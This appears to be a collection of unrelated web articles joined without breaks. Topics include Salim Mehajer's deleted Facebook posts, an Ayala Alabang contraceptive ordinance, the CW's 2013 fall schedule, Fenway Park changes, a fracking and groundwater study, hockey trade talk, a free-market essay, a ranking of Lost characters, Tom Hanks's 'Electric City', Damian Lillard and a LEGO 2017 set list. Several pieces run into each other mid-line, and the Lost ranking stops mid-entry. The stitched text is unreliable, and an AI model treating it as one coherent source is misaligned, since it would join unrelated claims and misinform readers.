The story detailed Salim’s somewhat creepy Facebook posts in which he gave vague clues over the state of the couple’s highly publicised marriage.
Yet in a strange twist of events, since the story, the posts and the declarations of love have disappeared and are all but gone, further fuelling speculation the relationship is in tatters.
Either one of two options could indicate what happened here; either Salim has deleted the posts in their entirety, or he would have had to edit each post’s privacy settings to block the posts from public view.
You can view the disappearing act in its entirety here.
“We will continue to breathe, even in water,” his last post featuring Aysha read, alongside an image of the “happy” couple sharing a hug in between matching sports cars, and tacky, matching numberplates. That’s gone.
Then there was the April 2 post that described the relationship as “unbreakable” — that’s gone too.
An April 3 post describing Aysha as “my best friend. My soul mate. My love of my life” is also nowhere to be seen.
The last post on Mr Mehajer’s profile, however, is a dedication to Aysha on her 30th birthday, featuring US rapper Tyga. Though she wasn’t even at the event.
So why the change of heart?
We’re not sure, because Mr Mehajer continues to ignore our requests to talk, but, as we stated yesterday, for all the money you can pour down the drain on an over-the-top wedding, nothing beats real love. And we’re not quite sure it exists here.
Salim and Aysha's transformation through the years 0:29 Salim Mehajer prior to his wedding to Aysha employed professional makeup artists to show them how they would appear as they age. Credit: YouTube/Ches Fx Wedding Films.
— Do you have a story to share? Email youngma@news.com.auBarangay Ayala Alabang just passed an ordinance requiring prescriptions to buy CONDOMS in an attempt to protect the “unborn child”. Each barangay can actually make its own rules in matters of licensing. But condoms? Will prescriptions lessen use of condoms? The residents might as well buy in another barangay. I speculate this is just to make a statement in support of the Catholic Church since there are many conservative families in Ayala Alabang. Perhaps Opus Dei? There is Woodrose School inside the village. So yeah.
Twitter reactions range from “will one need to see a doctor before having sex?”, “how will they know I am wearing condom?” and plans of selling condom in the black market. Ridiculous ordinance, is what most are saying.
Here is part of that ordinance :
REPUBLIC OF THE PHILIPPINES
CITY OF MUNTINLUPA
SANGGUNIAN BARANGAY OF AYALA ALABANG
BARANGAY ORDINANCE NO. 01
SERIES OF 2011
AN ORDINANCE PROVIDING FOR THE SAFETY AND PROTECTION OF THE UNBORN CHILD WITHIN THE TERRITORIAL JURISDICTION OF BARANGAY AYALA ALABANG; FIXING PENALTIES FOR ITS VIOLATIONS, AND, FOR OTHER PURPOSES
Be it enacted by the Sangguniang Barangay of Ayala Alabang, Muntinlupa City:
SECTION 1. SHORT TITLE
This Ordinance shall be known as the Protection of the Unborn Child Ordinance of 2011. SECTION 7. REGULATED ACTS
The pertinent provisions of Republic Act No. 5921 entitled AN ACT REGULATING THE PRACTICE OF PHARMACY AND SETTING STANDARDS OF PHARMACEUTICAL EDUCATION IN THE PHILIPPINES AND FOR OTHER PURPOSES enacted into law June 21, 1969 are hereby incorporated into the Ordinance as an integral part thereof and are reproduced as follows: “Section 37. Provisions relative to dispensing of anti-conceptional substances and devices. No drug or chemical product or device capable of provoking abortion or preventing conception as classified by the Food and Drug Administration shall be delivered or sold to any person without a proper prescription by a duly licensed physician. The pharmacist in charge of a drug store or pharmacy after filling a prescription containing abortive or anti-conceptional substance or devices shall record in a separate register book for abortives and anti-conceptionals, the following data; (a) Number and date of the prescription;
(b) Name and address of the physician;
(c) Name, quantity and manufacturer of the drug;
(d) Name and address of the purchaser;
(e) Date of filling the prescription; and
(f) Signature of the pharmacist filling the prescription. In addition to the above provisions of Republic Act No. 5921, classifications of drugs or chemical products or devices that are abortifacients as defined in Section 4. Definition of Terms shall also fall under the regulatory provision of this Section.
On February 26,
Muntinlupa council rejects barangay ban on contraceptives, sex education.
Today, Senator Pia Cayetano, a resident of Ayala Alabang said “said their village council cannot simply “seize” the functions and responsibilities vested by law with the Food and Drug Administration (FDA) by making up its own definition of abortifacients to include drugs and medical devices such as hormonal pills, condoms and Intra-Uterine Devices or IUDs, which she said have already been approved and certified as safe and effective by the World Health Organization (WHO).”
In Twitter, many are amused, horrified and just stupefied. I just had to laugh as I curated these tweets. Just mind-boggling. See what they are talking about:The CW has officially announced the premiere dates for their 2013 Fall schedule. The list of premiere dates includes the likes of ‘Arrow’ ‘Supernatural’ ‘The Vampire Diaries’ & it’s spinoff ‘The Originals’ and much more. You can read the press release with the schedule & premiere dates after the jump.
Immediately below you can read the press release detailing the schedule and premiere dates for The CW’s fall lineup.
THE CW NETWORK ANNOUNCES FALL 2013 PREMIERE DATES
Hart Of Dixie and Beauty And The Beast Premiere on Their New Night, Monday, October 7
The Back-to-Back Action of The CW’s Hit ARROW and New Series
THE TOMORROW PEOPLE Starts Wednesday, October 9
THE Vampire Diaries Returns Thursday, October 10, Followed by the Series Premiere of REIGN
THE ORIGINALS Bare Their Fangs on Tuesday, October 15, Paired with The Winchester Boys from SUPERNATURAL
Carrie Bradshaw Returns to The CW on Friday, October 25
in The Carrie Diaries
June 24, 2013 (Burbank, CA) – The CW Network will strategically roll-out its Fall 2013 launch this October with the premieres of three new series and returning favorites on new nights.
The CW returns to Bluebell, Alabama for a third season of Southern charm and hospitality with Rachel Bilson in Hart Of Dixie on Monday, October 7 (8:00-9:00 p.m. ET), followed by the epic romance of Beauty And The Beast, starring Kristin Kreuk and Jay Ryan, on a new night (9:00-10:00 P.M. ET).
On Wednesday, October 9, Stephen Amell dons the green hood for the second season of The CW’s most-watched series ARROW (8:00-9:00 p.m. ET), followed by the action-packed adventure of THE TOMORROW PEOPLE (9:00-10:00 p.m. ET),starring Robbie Amell.
On Thursdays, The CW’s number one series in its key demos, THE Vampire Diaries, returns for another season of highly addictive drama on October 10 (8:00-9:00 p.m. ET), followed by the highly anticipated new series REIGN (9:00-10:00 p.m. ET), starring Adelaide Kane as Mary, Queen of Scots.
On October 15, The CW kicks off its new Tuesday night with THE ORIGINALS (8:00-9:00 p.m. ET) as the original family from “The Vampire Diaries,” Klaus (Joseph Morgan), Elijah (Daniel Gillies) and Rebekah (Claire Holt), find a new home in New Orleans, a city now run by Klaus’s former protégée Marcel (Charles Michael Davis). The Winchester brothers of
SUPERNATURAL – Sam (Jared Padalecki) and Dean (Jensen Ackles) – move to their new home on Tuesday (9:00-10:00 p.m. ET).
AnnaSophia Robb returns as the iconic Carrie Bradshaw in The Carrie Diaries, Friday, October 25 (8:00-9:00 p.m. ET) followed by AMERICA’S Next Top Model: GUYS AND GIRLS, which premieres on August 2, as previously announced.
Following is The CW’s fall premiere schedule:
2013 FALL PREMIERE DATES:
MONDAY, OCTOBER 7
8:00-9:00 PM Hart Of Dixie (Season Premiere)
9:00-10:00 PM Beauty And The Beast (Season Premiere)
WEDNESDAY, OCTOBER 9
8:00-9:00 PM ARROW (Season Premiere)
9:00-10:00 PM THE TOMORROW PEOPLE (Series Premiere)
THURSDAY, OCTOBER 10
8:00-9:00 PM THE Vampire Diaries (Season Premiere)
9:00-10:00 PM REIGN (Series Premiere)
TUESDAY, OCTOBER 15
8:00-9:00 PM THE ORIGINALS (Series Premiere)
9:00-10:00 PM SUPERNATURAL (Season Premiere)
FRIDAY, OCTOBER 25
8:00-9:00 PM The Carrie Diaries (Season Premiere)
9:00-10:00 PM AMERICA’S Next Top Model: GUYS AND GIRLS
All Times ETFenway Park is going to get another face-lift before the 2017 season.
The 104-year-old ballpark has undergone plenty of renovations in the last decade, and the Boston Red Sox just received approval to make more. The Boston Landmark Commission gave the Red Sox the go-ahead Tuesday on four of their six proposed changes, and chief among them is the replacement of Pesky’s Pole.
But don’t worry about Fenway losing the charm of its right field foul pole because the new Pesky Pole will look exactly the same as the old one. The replacement simply will be solid and up to code, WFXT-TV’s Ted Daniel reported Tuesday.
The Red Sox also will replace the bullpen field wall with removable wall, add seating and a bar to the right field grandstand and replace the Cumberland Farms sign in right field with a video board. Plans to add more suites on the right field and left field level and to move the dugouts forward 3 1/2 feet to create 124 seats around them were rejected.
All of the approved changes are expected to be completed before Opening Day 2017.
Thumbnail photo via Bob DeChiara/USA TODAY Sports ImagesAccording to a new scientific study, salty fluids rich with minerals in parts of Pennsylvania’s Marcellus Shale are seeping thousands of feet upward, right into drinking water. This suggests that drilling waste and chemicals caused by fracking might migrate as well.
Scientists at Duke University and California State Polytechnic University conducted the research, which involved the testing of drinking water wells across Northeastern Pennsylvania. In many instances, the water was mixed with brine that had seeped in from the Marcellus Shale.
The Marcellus Shale is believed to be rich with natural gas, and so fracking, which involves the extraction of that gas, is a top priority for the gas industry. Fracking has been proven to pose a number of threats both to the environment and peoples’ health, and the study, released July 9, concluded that deeply buried rock layers will not necessarily keep harmful fracking chemicals away from drinking water, as previously thought.
The brine that was found had moved thousands of feet to reach the well water, and while its presence had nothing to do with fracking, continuous tampering with the Marcellus Shale could change that – potentially exposing the water to toxicity.
“Everything is not black and white,” said Avner Vengosh, a Duke University professor of geochemistry and one of the researchers. “We’re just at the very beginning of understanding what’s going on. The result of this study does not apply to all of Pennsylvania. It needs to be duplicated.”
In a separate study conducted by some of the same Duke researchers in 2011, it was also understood that methane gas was much more likely to leak into water supplies in places that were adjacent to drilling.
“In this paper,” said the study, “we evaluate the potential impacts associated with gas-well drilling and fracturing on shallow groundwater systems of the Catskill and Lockhaven formations that overlie the Marcellus Shale in Pennsylvania. Our results show evidence for methane contamination of shallow drinking water systems in at least three areas of the region and suggest important environmental risks accompanying shale gas exploration worldwide.”
In a report released by the Penn Environment Research and Policy Center, it’s noted that fracking in the Marcellus Shale poses a significant threat to entire populations. “From Pittsburgh to Scranton, gas companies have already drilled more than 3,000 wells,” said the report, “and the state has issued permits for thousands more. Permitted well sites exist within two miles of more than 320 day care facilities, 67 schools, and nine hospitals statewide.”
Whether further contamination of Pennsylvania drinking water from the effects of fracking is imminent, is yet to be seen.
“The biggest implication is the presence of connections from deep underground to the surface,” said biology professor Robert Jackson, who was part of the study. “It’s a suggestion based on good evidence that there are places that may be more at risk.”
Photo: Rally against fracking in the Marcellus Shale region, at the Capitol in Albany, N.Y. Mike Groil/APIt’s tempting, isn’t it? Devan Dubnyk is playing way below par, and Jason LaBarbera isn’t a permanent solution by any stretch. Ryan Miller is an experienced veteran. He has an expiring contract, and has even won a Vezina Trophy. He’s playing very well this season considering the team in front of him. After all, he will likely go to free agency and very badly wants to play for Team USA at the Olympics. It’s perfect, right? A goalie with a proven track record who is determined to have a big year. Makes sense, doesn’t it?
Ryan Miller Doesn’t Want to be in Edmonton
Time to put the breaks on. Ryan Miller, despite the fact that he wants out of Buffalo, has a no-trade clause, and a list of teams he will not go to.
Note with trade talk, #Sabres Ryan Miller does have a limited no trade clause and #Oilers are one of the teams on his no trade list. — Nick Kypreos (@RealKyper) October 17, 2013
Alright, let’s just say for sake of argument, Miller decides he would go to Edmonton in a trade, what are the odds that he re-signs there? Will he be so enamored with the city and organization that he will choose to stay long-term in a place he apparently has no desire to be? It’s possible, but the Oilers are in as bad shape as the Sabres are, despite the supposed superior talent. What is the point of bringing on a veteran goalie for the rest of the season? Can he really be what pushes them into a playoff spot? That would suggest goaltending is the sole source of the Oilers problems.
The Oilers Would Likely Have to Give up too Much
Unless the Oilers know Miller can be their goalie of the future, under no circumstances should they trade anything of value for him. He’s 33 years old, and is coming off a number of shaky performances over the past few seasons. Is he really the right guy to bring into the room?
The Sabres aren’t a very good team, therefore if they give up their franchise goalie they will probably ask for a large return, especially if the trade happens this early into the season. Nail Yakupov’s name has been thrown about lately. Now regardless of whether or not the coach likes him, trading a former number one pick who hasn’t even played a full 82 game season for a rental isn’t good management. The Oilers need to find a goaltender who will be with them for a long time. If they do give up Yakupov (which they shouldn’t), it would have had to be for a Jonathan Bernier, or Robin Lehner, or even Viktor Fasth possibly. Not a 33 year-old who doesn’t really want to be there.
The Oilers Might be that Desperate
As crucial points continue to slip away, and a team like the Colorado Avalanche is proving to have the better young studs, the Oilers need to start winning games, and fast. Even the Calgary Flames look better. Edmonton might be getting desperate. Desperate enough to make some kind of blockbuster band-aid trade? Perhaps.
Now obviously, it isn’t set in stone that Ryan Miller wouldn’t stay in Edmonton if he in fact accepted a trade there. But he wants a Stanley Cup, and the Oilers are very far from contending for a championship. Maybe he would sign a short term deal. But again, the Oilers simply can’t go and trade young talent for a guy who may not (and probably won’t) stay. That’s what teams who actually have a chance to win the Cup do. Teams who have all the other necessary pieces in play and just need someone to push them over the edge.
The Oilers are not that team. So unless all the Sabres ask for is a low-level prospect, or low round draft pick, don’t make this trade Edmonton.By Allan Muir
An annotated guide to this morning's must-read hockey stories:
• "Unfortunately, I'm going to be on the highlights for quite a time with that one,” said Senators defenseman Erik Karlsson on Monday night after being victimized by the highlight-reel save above. Save of the year? Maybe. What do you think of Marc-Andre Fleury's larcenous glove grab?
• Sidelined by an unidentified illness, Kris Letang sat out his third consecutive game for the Penguins. Team doctors are running tests on the All-Star defender, but haven't come up with any answers for what might be ailing him, or how long he'll be out of the lineup.
• Steven Stamkos is aiming for a return to action on Saturday night, but skating against the Red Wings doesn't guarantee that he'll be ready to join Team Canada.
• The TSN panel talks NHL trade rumors, including the latest on Ryan Callahan (he wants how much?), David Legwand and Thomas Vanek, who reportedly is willing to leave money on the table to sign with the team he wants. Wonder who that could be...?
• Whenever the Islanders get around to moving Vanek, they'd better address this area of immediate need with the return.
• This won't make Sabres fans crazy at all: Tyler Seguin almost came to Buffalo last summer. Watching what he's done to accelerate the Stars' rebuild, that thought is gonna hurt for a long time...
• Are the Canucks the the NHL's worst third-period team? They certainly played like it -- again -- as John Tortorella made a fruitless return to the bench in last night's 2-0 loss to Detroit. Tortorella's frustration led him to call for changes to the lineup... or at least, changes more significant than the Dale Wiese for Raphael Diaz swap.
• Tim Thomas wouldn't pump Roberto Luongo's tires, but one of his old Bruins teammates is happy to do it.
• Speaking of Thomas, he says he has an idea of where he'd like to play next season.
• The NHL's best rivalry could be headed outdoors in 2015.
• A chat with a Hall of Famer helped Flyers goalie Steve Mason get his game back on track.
• The Olympic hockey head shots are online... and let's just say they are not particularly flattering. I mean, poor Alfie.
• More Olympic talk: Sidney Crosby says it can be a challenge staying focused on his NHL job with the Olympic tournament just days away. Meanwhile, after being snubbed by Team USA, Bobby Ryan plans on ignoring the Winter Games.
• They didn't introduce the entire Swedish Olympic team at last night's Sochi send-off in Detroit, but they came pretty close.
• These Olympic dorms aren't likely to earn that elusive fourth star... but they'll sleep at least three:
https://twitter.com/SWhyno/status/430676101724372992
• Damien Brunner talks about Switzerland's chance to surprise in Sochi, and takes a shot at Jaromir Jagr in the process.
• With his new team in Raleigh to play his old one, Jets coach Paul Maurice reflects on his impact during his time with the Hurricanes.
• James Mirtle reveals details about the soft, noodley stick that frustrates most players, but which has also powered Phil Kessel's race to the top of the scoring charts.
• Here's another great piece from hockey historian Joe Pelletier, this time focusing on what could have been an early European invasion of the NHL.See if you can spot anything wrong with the following claim, a version of which seems to appear in a book, magazine, or newspaper every few weeks for as long as I've been reading public commentary on economic matters:
The dominant idea guiding economic policy in the United States and much of the globe has been that the market is unfailingly wise…. But lately, a striking unease with market forces has entered the conversation. The world confronts problems of staggering complexity and consequence, from a shortage of credit following the mortgage meltdown, to the threat of global warming. Regulation … is suddenly being demanded from unexpected places.
Now, a paragraph like this one printed in the New York Times opinion section on December 30, 2007 — an article called "The Free Market: A False Idol After All?" — makes anyone versed in economic history crazy with frustration. Just about every word is misleading in several ways, and yet some version of this scenario appears as the basis of vast amounts of punditry.
The argument goes like this:
Until now we've lived in a world of laissez-faire capitalism, with government and policy intellectuals convinced that the market should rule no matter what. Recent events, however, have underscored the limitations of this dog-eat-dog system, and reveal that simplistic ideology is no match for a complex world. Therefore, government, responding to public demand that something be done, has cautiously decided to reign in greed, force us all to grow up, and see the need for a mixed economy.
All three claims are wrong. We live in the 100th year of a heavily regulated economy; and even 50 years before that, the government was strongly involved in regulating trade.
The planning apparatus established for World War I set wages and prices, monopolized monetary policy in the Federal Reserve, presumed first ownership over all earnings through the income tax, presumed to know how vertically and horizontally integrated businesses ought to be, and prohibited the creation of intergenerational dynasties through the death tax.
That planning apparatus did not disappear but lay dormant temporarily, awaiting FDR, who turned that machinery to all-around planning during the 1930s, the upshot of which was to delay recovery from the 1929 crash until after the war.
Just how draconian the intervention is ebbs and flows from decade to decade, but the reality of the long-term trend is undeniable: more taxes, more regulation, more bureaucracies, more regimentation, more public ownership, and ever less autonomy for private decision-making. The federal budget is nearly $3 trillion per year, which is three times what it was in Reagan's second term. Just since Bush has been in office, federal intervention in every area of our lives has exploded, from the nationalization of airline security to the heavy regulation of the medical sector to the centralized control of education.
With "free markets" like this, who needs socialism?
So, the first assumption that we live in a free-market world is simply not true. In fact, it is sheer fantasy. How is it that journalists can continually get away with asserting that the fantasy is true? How can informed writers continue to fob off on us the idea that we live in a laissez-faire world that can only be improved by just a bit of public tinkering?
The reason is that most of our daily experience in life is not with the Department of Labor or Interior or Education or Justice. It is with Home Depot, McDonald's, Kroger, and Pizza Hut. Our lives are spent dealing with the commercial sector mostly, because it is visible and accessible, whereas the depredations of the state are mostly abstract, and its destructive effects mostly unseen. We don't see the inventions left on the shelf, the products not imported due to quotas, the people not working because of minimum wage laws, etc.
Because of this, we are tempted to believe the unbelievable, namely that government serves the function only of a night watchman. And only by believing in such a fantasy can we possibly believe the second assumption, which is that the problems of our society are due the to the market economy, not to the government that has intervened in the market economy.
Consider the housing crisis. The money machine called the Federal Reserve cranks out the credit as a subsidy to the banking business, the bond dealers, and the big-spending politicians who would prefer to borrow than tax. It is this alchemic temple that distorts the reality that credit must be rationed in a way that accords with economic reality.
The Federal Reserve embarked on a wild credit ride in the late 1990s that has dumped some $4 trillion in new money via the credit markets, making expansion of the loan sector both inevitable and unsustainable. At the same time, the federal bureaus that manage and guarantee the bulk of mortgages have ballooned beyond belief. The popularity of subprime mortgages are the tip of a massive but buried debt mountain — all in the name of achieving the "American dream" of home ownership through massive government intervention.
Say what you want to about this system, but it is not the free market at work. Indeed, the very existence of central banking is contrary to the capitalist ideal, in which money would be no different from any other good: produced and supplied by the market in accord with the moral law against theft and fraud. For the government to authorize a counterfeiter-in-chief is a direct attack on the sound money system of a market economy.
Let's move to the third assumption that government intervention can solve social and economic problems, with global warming at the top of the heap. Let's say that we remain agnostic on the question of whether there is global warming and what the cause really is (there is no settled answer to either issue, despite what you hear). The very idea that putting the government in charge of changing the weather of the next 100 years is another notion from fantasy land.
The point about complexity counts against government intervention, not for it. The major contribution of F.A. Hayek to social theory is to point out that the social order — which extends to the whole of the world — is far too complicated to be managed by bureaus, but rather depends on the decentralized knowledge and decisions of billions of market actors. In other words, he gave new credibility to the insight of the classical liberals that the social order is self-managing and can only be distorted by attempts to centrally plan. Planning, ironically, leads to social chaos.
You don't have to be a social scientist to understand this. Anyone who has experience with public-sector bureaucracies knows that they cannot do anything as well as markets, and however imperfect free markets are, they are vastly more efficient and humane in the long run than the public sector. That is because free markets trust the idea of freedom generally, whereas other systems imagine that the men in charge are as omniscient as gods.
In one respect, the New York Times is right: there is always a demand for economic intervention. The government never minds having more power, and is always prepared to paper over the problems it creates. An economy not bludgeoned by powerful elites is the ideal we should seek, even if it has a name that is wildly unpopular: capitalism.The forums are closed
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And to stay updated on all things Propellerhead, don’t forget to subscribe to our newsletter!This year marking the 10th anniversary of the premiere of the television show Lost, and disappearing airplanes being quite (tragically) at the forefront of the international consciousness, and a Lost cast reunion this week burdening us all with the knowledge that Walt "MY BOY" Dawson is now a fully hot adult human man and therefore all of us are literally one million years old, it seemed like an ideal time to revisit all the ups and downs of J.J. Abrams's monsterpiece.
Like anyone else who stuck with Lost to the bitter end, I have a complicated relationship with the show. It is frustration incarnate, OBVIOUSLY, but also I've had more fun watching it than possibly almost any other show that didn't involve Tyra Banks's ego.
Here, for the purposes of your outrage, is pretty much every character ever on Lost in order from worst to best. PLEASE CORRECT ME IN COMMENTS.
82. Driveshaft
"Okay, we've got the episode pretty much written—the only thing we still need is the big Driveshaft hit song."
"Okay, how much do we have left in the budget for a songwriter?"
"$10."
"Ummmmmm...my 14-year-old cousin has a Sugar Ray cover band..."
"YES. GET BRAGEN ON THE PHONE. IT'S THE ONLY WAY."
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81. Bernard
Bernard is like a machine where you put in trying-to-relax-and-enjoy-your-stories and hives come out. Remember Bernard's stupid S.O.S. sign? Remember when Bernard would get attitude with Rose even though she's a flawless angel? Remember when Bernard was a dentist who didn't know what snow was? Having to watch Bernard for six seasons was like the subtlest form of murder. I will never get my Bernard-hours back. Remember when you think Bernard and Rose are off the show for good and you can finally breathe again and then you come sauntering around a jungle corner all lighter-than-air and then it's KA-BOI-OI-OI-OINGGGGG!
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NOOOOOOOOOOOOOOOOOOOOO!!!!!
LEAVE ME BE, FELL GHOUL.
But he doesn't. He never leave you bes.
80. Radzinsky
If there's one thing this show needs, it's more hyperventilating aggro nerds who contribute nothing but confusion and chaos.
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79. Pryce
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What? I literally do not remember this guy at all. Apparently he was just a nonstop dickhead until Hurley ran him over with the DHARMA Initiative van. Sounds good to me.
78. Omar
Do you even go here?
77. Phil
Again. Maybe be more memorable and you won't get impaled, "PHIL."
76. Bram
Ditto: Back in the Habit.
75. Caesar
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Ditto: Legend of Curly's Gold.
74. Beatrice
Ditto Goes West.
73. Danny
Oh, man, that guy sucked! But at least I remember his sucky face. Tip for "Omar" and "Pryce": Suck more, I guess.
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72. The Marshal
Total weenis. Kate punk'd this guy hella times, and she is only medium-competent.
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71. Karl Martin
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So, you wore these Burning Man Tron-gogz on your face at some point and I still don't remember anything about your character?
70. Cindy
Bore-asaurus Rex.
69. Frogurt
I feel like they just shoehorned Frogurt in during that period when everyone hated the show to try and appease us with wackiness. I can't really be that mad at a dude named Frogurt who got murdered with a flaming arrow, but really, what did Frogurt add to my life? Less than actual frozen yogurt and actual flaming arrows, combined or separately, for sure.
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68. The DeGroots
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You dicks got us into this mess. I think. (Did they? What happened in this show again?)
67. Alvar Hanso
Again, I'm mad at you and I don't know why. And me not knowing why is also your fault, somehow.
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66. Zoe
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Other Tina Fey came in at the very end of the show and did some stuff that I can't remember but I think must have been annoying because I make lemon-face when I look at her picture. Apparently she's married to Toby from the West Wing IRL. #RichardSchiffFacts
65. Jacob
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I liked you better when you were a chair.
64. Shannahn
SHANNAHN. SHANNAHN. I LOVE YOU. SHANNAHN. DO NOT LEAVE ME. DO NOT DIE. SHANNAHN! SHANNAAAAAAAAAHN!!! I KNOW WE HAVE ZERO IN COMMON AND YOU'VE LITERALLY DONE NOTHING BUT CRY AND WHINE AND FALL DOWN SINCE THE DAY WE MET, BUT I WANT TO TOUCH YOUR BUTT FOREVER IN HEAVEN.
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SCREW YOU, NADIA.
63. Dogen
Oh, cool. Meaningless obstructionism personified.
62. Ilana
WHO IS THAT.
61. Charlotte
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DUDE. WHY IS THERE ALWAYS BLOOD POURING OUT OF YOUR FACE. BE THE NAPKIN YOU WANT TO SEE IN THE WORLD.
60. Naomi
Naomi seemed real important when she was happening, but then after she was gone it was like you came out of a fugue state and started asking who the president was.
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59. Nikki and Paulo
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I know I'm supposed to be mad about this storyline, but since it's kind of the main thing I remember from the entire second half of the show, was it really a "blunder"? Or was it just a hilarious spider-comedy mini-film starring Karl from Love, Actually?
58. Horace
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I know we all loved Dourtney, but he'll always be Tooms. And I think we can all agree that his most significant life-partnership is with this hair-do.
57. Cassidy
Eh.
56. Amy
Oh, yeah. She's Horace's wife, right? Way to give birth to Ethan, I guess! And while we're on the topic, WHY DOES ETHAN HAVE SUPER-STRENGTH? What the fuck did you eat during your pregnancy, "Amy"? Was it acai berries? It was acai berries, wasn't it.
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55. Sun's Boyfriend in Korea
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I approve of any and all Korean storylines.
54. That Guy Who Got Sucked into the Turbine
Apparently his name was "Gary." I still like him better than SHANNAN.
53. The Man in Black
I liked you better when you were a hole.
Your browser does not support HTML5 video tag.Click here to view original GIF
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52. Gault
HOW IS THIS GUY A DIFFERENT GUY FROM GOODWIN.
51. Goodwin
HOW IS THIS GUY A DIFFERENT GUY FROM GAULT.
50. Ana Lucia
I like Michelle Rodriguez, but Ana Lucia is just so GRUMPY. Plus, she shot SHANNAHN, which kicked off like 4 seasons of Melancholy Sayid.
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49. Rose
Yeah, sure, early Rose is cool when she's just chilling out on the beach, dispensing nonstop unflappable wisdom and insisting that Bernard's still alive, but the problem with that storyline is that BERNARD'S STILL ALIVE. Rose, you could do better. Like, maybe Frogurt! Or a palm frond! How about "Bram"? Literally anyone but Driveshaft.
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48. Roger Workman
That's a good bit.
47. Vincent
I just feel like Vincent could have helped out more. Like, hunt something, dummy.
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46. Lennon
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God, does anyone actually remember anything about these later seasons? Extra points for Deadwood and Eastbound and Down, but that is the ONLY REASON "Lennon" isn't below Vincent.
45. George Minkowski
Grandfathered into my good graces via Early |
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LOG CAT:Paul Buck/European Pressphoto Agency
When Tom Hanks imagines the future, you might think he sees a desk strewn with Oscars, Emmys and the scripts for a dozen more World War II projects. But the far-flung earth that Mr. Hanks will present in a new Internet-based animated series called “Electric City” will be a more complicated one and yet – not surprisingly, given its creator – an optimistic one.
“Without a doubt, everything has changed, but not necessarily for the worst,” Mr. Hanks said in a telephone interview. “In fact, a good life and good world has been created out of the usual end-of-life scenarios. It hasn’t degenerated into an Orwellian society – just the opposite.”
On Thursday, Mr. Hanks and his producing partner, Gary Goetzman, said their Playtone company will bring “Electric City,” which Mr. Hanks is credited with conceiving and writing, to the Web early next year. The project, which its creators hope will eventually be spun off into other media, may also offer a preview of Hollywood’s future: it is being produced as a joint venture with Reliance Big Entertainment of India, a media company playing a growing role in global entertainment properties.
Mr. Hanks said he had the idea for “Electric City” nearly six years ago, imagining it as “a very gripping, almost film-noir, very serious look at a future that was not a dysfunctional dystopia, that an awful lot of the future things are.”
Also, for some reason, he tried to make the series using marionettes. “We wanted it to look incredibly different and yet familiar,” Mr. Hanks said. “We found out a number of things. It’s very hard to do and it takes forever.”
After several more years of development, “Electric City” has evolved into an animated series that will be shown on the Web in 20 three-minute installments, and focus on socially conscious themes like energy consumption and the freedom of information.
Among his creative models for the project, Mr. Hanks cited the original 1960s television incarnation of “Star Trek,” which he called “an awfully good adventure” with “a bunch of cool stuff that you can latch onto.”
“If we animate this in high style,” Mr. Hanks said, “the end result is we get the freedom to tell any story we want to, exactly as we want to.”
But after shopping the project to several American studios and networks, Mr. Hanks said, “They all have different plans for what they want to be.”
Instead, “Electric City” will be produced with Reliance, the Mumbai-based company that last year provided $325 million of an $825 million financing package for Steven Spielberg and his DreamWorks studio to create films for an international audience, and which was cited earlier this year as a possible partner for the debt-addled MGM studio.
Mr. Hanks said of Reliance, “They immediately came to us, and said, look, in India alone, there are like 700 million people who speak English, who are very much used to looking at things that last about three minutes on their phone. What they haven’t seen so far is a true story that they stay up with. So it’s an electronic version of ‘Little Dorrit.’”
Mr. Hanks said the “Electric City” franchise could be expanded into graphic novels or an online role-playing game, among other properties. “It’s all about how good it is and how much traffic it draws,” he said.
In the meantime, Mr. Hanks seemed to enjoy the opportunity to speculate about what may yet come, and at the same time glance back at his past.
“I remember the first story I read by Robert A. Heinlein,” Mr. Hanks said, “which was ‘Have Space Suit – Will Travel.’ I literally thought, where has this guy been? Then I read everything of his that I came on, and I discovered this whole new racket. This is the most fun you could possibly have with a typewriter.”Well, it looks like the Golden State Warriors will just have to make due with four All-Stars on their team and not potentially five.
Portland Trail Blazers’ All-Star point guard Damian Lillard was asked on Twitter on Wednesday if he would consider playing for his hometown Warriors someday. The Oakland native a pretty definitive answer.
Hell no https://t.co/nugsDOd4q8 Article continues below... — Damian Lillard (@Dame_Lillard) July 13, 2016
The Warriors already have Kevin Durant, Stephen Curry, Klay Thompson and Draymond Green, forming a big four the likes of which the NBA arguably has never seen. Lillard, 25, signed a five-year, $120 million extension last summer, so he wouldn’t be hitting the free-agent market for some time.
But maybe Durant’s move to the Bay Area has created a backlash among NBA stars, pushing them to compete against each other instead of join forces. We’ll have to wait until next summer to see where the next crop of NBA superstars lands.Online Dutch shop SinQel has posted the LEGO set names for the summer 2017 wave from many themes. I’ve had this information since last night from a reader but it looks like everything is out now. Keep in mind that this is not a complete list and I’ll add to the list when there is more info. We can look forward to hearing more details as well as seeing images of them at the upcoming Toy Fairs.
City
60153 Fun at the Beach
60154 Bus Station
60156 Jungle Buggy
60157 Jungle Starter Pack
60158 Jungle Cargo Helicopter
60159 Jungle Mission with Half-Track
60160 Jungle Mobile Laboratory
60161 Jungle Research Location
60163 Coast Guard Starter Pack
60164 Seaplane Rescue
60165 4×4 Rescue Vehicle
60166 Heavy Rescue Helicopter
60167 Coast Guard HQ
60169 Freight Terminal
Creator
30166 Space Shuttle Explorer
31067 Holidays at LEGO Pool
31068 Modern House
30169 Family Villa
30170 Turbo Track Racer
Elves
41186 Azari & the Escape from the Goblins
41187 Rosalyn’s Healing Shelter
41188 Escape from the Goblin King’s Fortress
Friends
41315 Heartlake Surf Shop
41316 Andrea’s Speedboat Transport
41317 Sunshine Catamaran
41318 Heartlake Hospital
41321 Winter Sports SUV
41322 Winter Sports Ski Rink
41323 Winter Sports Ski Chalet
41324 Winter Sports Ski Lift
Marvel Super Heroes
76079 Ayesha’s Revenge
76080 Ravager Attack
76081 GOTG
Nexo Knights
70353 The Heligoyle
70354 Axl’s Rumble Maker
70355 Aaron’s Rock Climber
70356 The Colossus of Ultimate Destruction
70357 Knighton Castle
70361 Macy’s Bot Drop Dragon
70373 NEXO Combo Powers Wave 2
Star Wars
75166 First Order Transport Speeder Battle Pack
75167 Bounty Hunter Speeder Bike Battle Pack
75178 Jakku Quad Jumper
75180 Rathtar Escape
75182 Republic Fighter Tank
75183 Darth Vader Transformation
75185 Tracker I (Freemaker Adventures)
75186 The Arrowhead (Freemaker Adventures)
75531 Stormtrooper Commander
75532 Scout Trooper & Speeder Bike
2017 Advent Calendar
The LEGO Batman Movie
70913
70914
70915
70916
70917Victorian Domestic Servant Hierarchy and Wage Scale
The hierarchy of British domestic servants in a large manor in 1890 and their wages
